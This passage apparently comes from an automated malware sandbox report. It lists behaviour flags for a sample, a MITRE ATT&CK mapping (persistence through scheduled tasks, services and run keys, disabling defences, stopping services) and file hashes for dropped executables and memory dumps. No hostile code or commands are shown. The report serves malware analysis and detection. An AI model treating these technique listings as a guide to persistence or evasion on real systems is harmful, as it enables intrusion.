  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RLHRIIGD\1[1]

Filesize
108KB

MD5
1fcb78fb6cf9720e9d9494c42142d885

SHA1
fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

SHA256
84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

SHA512
cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

Download Submit
C:\Users\Admin\AppData\Local\Temp\1042117988.exe

Filesize
10KB

MD5
96509ab828867d81c1693b614b22f41d

SHA1
c5f82005dbda43cedd86708cc5fc3635a781a67e

SHA256
a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

SHA512
ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\2624111286.exe

Filesize
5.6MB

MD5
13b26b2c7048a92d6a843c1302618fad

SHA1
89c2dfc01ac12ef2704c7669844ec69f1700c1ca

SHA256
1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

SHA512
d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

Download Submit
C:\Users\Admin\AppData\Local\Temp\42862360.exe

Filesize
8KB

MD5
cb8420e681f68db1bad5ed24e7b22114

SHA1
416fc65d538d3622f5ca71c667a11df88a927c31

SHA256
5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

SHA512
baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\E3E9.exe

Filesize
9KB

MD5
8d8e6c7952a9dc7c0c73911c4dbc5518

SHA1
9098da03b33b2c822065b49d5220359c275d5e94

SHA256
feb4c3ae4566f0acbb9e0f55417b61fefd89dc50a4e684df780813fb01d61278

SHA512
91a573843c28dd32a9f31a60ba977f9a3d4bb19ffd1b7254333e09bcecef348c1b3220a348ebb2cb08edb57d56cb7737f026519da52199c9dc62c10aea236645

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BTSUNRNJWO2XW30PDUU1.temp

Filesize
7KB

MD5
7d02445003dbac9b6c6051479759fa6f

SHA1
1e0c93108ae3bfd0a00be95bf6e5a33fc534f742

SHA256
e6b5dc0aae9eee515cc0c1f7a986c0435e95f5cc618d18bde25ee22fa6d308a3

SHA512
e8dfb6245456f907eddeb1e550a1358584054b6ffff3d2274a01f9c31d318dcc118d985dc9de03840339d9ada00644be728161928e745d8cdd66e83ba1f5b5d8

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\1008226405.exe

Filesize
15KB

MD5
0c37ee292fec32dba0420e6c94224e28

SHA1
012cbdddaddab319a4b3ae2968b42950e929c46b

SHA256
981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

SHA512
2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

Download Submit
\Users\Admin\AppData\Local\Temp\1305121714.exe

Filesize
83KB

MD5
06560b5e92d704395bc6dae58bc7e794

SHA1
fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

SHA256
9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

SHA512
b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

Download Submit
\Users\Admin\AppData\Local\Temp\162179265.exe

Filesize
13KB

MD5
5a0d146f7a911e98da8cc3c6de8acabf

SHA1
4ec56b14a08c897a5e9e85f5545b6c976a0be3c1

SHA256
bf61e77b7c49ce3346a28d8bc084c210618ea6ec5f3cfa9ae8f4aa4d64e145f1

SHA512
6d1526a5f467535d51b7f9b3a7af2d54512526e2523e3048082277b83b6e1a1f0d7e3c617405898f240ae84a16163bc47886d8541a016b31c51dfadf9da713e1

Download Submit
memory/592-82-0x0000000001E40000-0x0000000001E48000-memory.dmp

Filesize
32KB

Download
memory/592-81-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/1428-85-0x000000013FE60000-0x00000001403F7000-memory.dmp

Filesize
5.6MB

Download
memory/2060-94-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

Filesize
2.9MB

Download
memory/2060-95-0x0000000002820000-0x0000000002828000-memory.dmp

Filesize
32KB

Download
memory/2440-45-0x000000013FED0000-0x000000013FED6000-memory.dmp

Filesize
24KB

Download
memory/2756-104-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/2756-102-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/2776-100-0x000000013F510000-0x000000013FAA7000-memory.dmp

Filesize
5.6MB

Download
memory/2908-103-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/2908-101-0x00000000001B0000-0x00000000001D0000-memory.dmp

Filesize
128KB

Download
memory/2908-105-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/2908-107-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/2908-109-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/2908-112-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/2908-114-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/2908-116-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download